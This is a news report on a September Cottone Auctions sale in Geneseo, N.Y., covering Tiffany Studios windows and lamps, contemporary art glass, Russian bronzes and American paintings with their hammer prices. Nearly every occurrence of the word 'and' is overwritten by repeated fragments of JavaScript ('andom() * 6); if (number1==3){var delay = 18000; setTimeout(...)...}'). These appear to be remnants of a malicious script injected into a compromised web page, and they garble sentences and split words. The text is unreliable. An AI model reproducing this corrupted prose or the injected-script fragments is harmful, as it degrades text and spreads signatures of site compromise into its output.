By: Victoria Winslow

GENESEO, N.Y. — Cottone Auctions saw strong national andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and international participation from private collectors andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and dealers for fresh-to-the-market offerings September 26–27, stemming from a number of prestigious collections. Leading the sale was a rare Tiffany Studios Memorial window “Angel of Resurrection” that topped its high estimate to sell for $71,300.

The piece was a first-time offering directly from the Church of the Redeemer in Newark, N.J. It was originally installed as the Allison Memorial Window andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and cited in The List of Tiffany Windows. Tiffany lamp sales included a fine Tiffany Studios Poppy lamp, in original condition, selling for $69,000 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a Tiffany Black Eyed Susan table lamp going within estimate at $34,500. A pair of unusual Tiffany Studios turtleback glass hanging domes, together with extra wall sconce mounts, did better than expected at $46,000 ($10/15,000).

Contemporary art glass from the Cooper estate in New Jersey drew a lot of interest with Toots Zynsky’s “Boundless Serena” art glass bowl of fused andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and slumped glass threads selling above estimate at $17,250 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Stephen Rolfe Powell’s (American, b 1951) “Bell Bottom Smith” vessel on a custom made steel base going for $16,100. Pablo Picasso’s glazed terre de faience pitcher “Bearded Man’s Wife” from the same estate achieved $21,275. The piece was from an edition of 500, signed “Edition Picasso” andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and “Madoura Plein Feu.”

Russian bidders continued to be active, with a fine Russian enameled silver pitcher made for Tiffany selling to a Lithuanian buyer for $35,650. Evgenii Lanceray’s “Cossack on Horseback” bronze, signed in Cyrillic andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and dated 1886 also headed back to Russia on an $18,400 bid. Another Russian buyer claimed a Feliks Khodorovich (Russian, 1840–1913) “Imeretian Bullock Cart” with Woerffel Foundry stamp for $5,750, nearly double high estimate.

Three paintings from the historic Wadsworth family, Geneseo, N.Y., collection by Walter Gay (American, 1856–1937) drew heavy interest. “Les Baites,” depicting a classically decorated interior, went to a New York buyer, more than doubling its high estimate to bring $39,100. “Le Remouleur” sold to a local bidder for $8,050, just above estimate, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a watercolor library interior view ($1/1,500) was claimed by another buyer from New York for $6,038.

Property from the Strong, Rochester, N.Y., sold to benefit the museum’s collections fund, included three oil on paperboard portraits attributed to Ashell Lynn Powers, Vt. The subjects were identified as members of the Miller family, with all three portraits selling as one lot for $34,500. A pair of early Nineteenth Century oil on poplar panel portraits by Sheldon Peck (American, 1797–1869) sold to a New York collector for $18,975. The same collector also claimed an interesting landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andscape painting by Thomas Chambers (American, 1808–1869) for $19,550.

A small work by William Aiken Walker (American, 1838–1921), “Waiting for a Boat,” an oil on academy board from a West Coast collection, headed east to a South Carolina bidder for $46,000 ($10/15,000). The painting was in original condition, signed with initials “W.A.,” as well as in pencil on reverse andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and depicted a landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}anding on the Mississippi. Another small work at 12 by 10 inches, “Fall Landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andscape” by Ralph A. Blakelock (American, 1847–1919) finished at $17,250. The oil on canvas came from a private collection.

Other notable highlights included a Martin Brothers glazed stoneware bird-form tobacco jar, ex James Lockhart collection, Geneseo, which realized $60,950, despite professional restoration to interior of neck andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a faint hairline in the tail. A fine bronze andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and metal Oriental-style vase with cut glass liner, property of the Strong, went on to fetch $55,200, far surpassing its $3/5,000 estimate. The piece featured an intricately sculpted rolling wave background with fish, crabs, shells andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and crayfish in gilt andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and patinated bronze.

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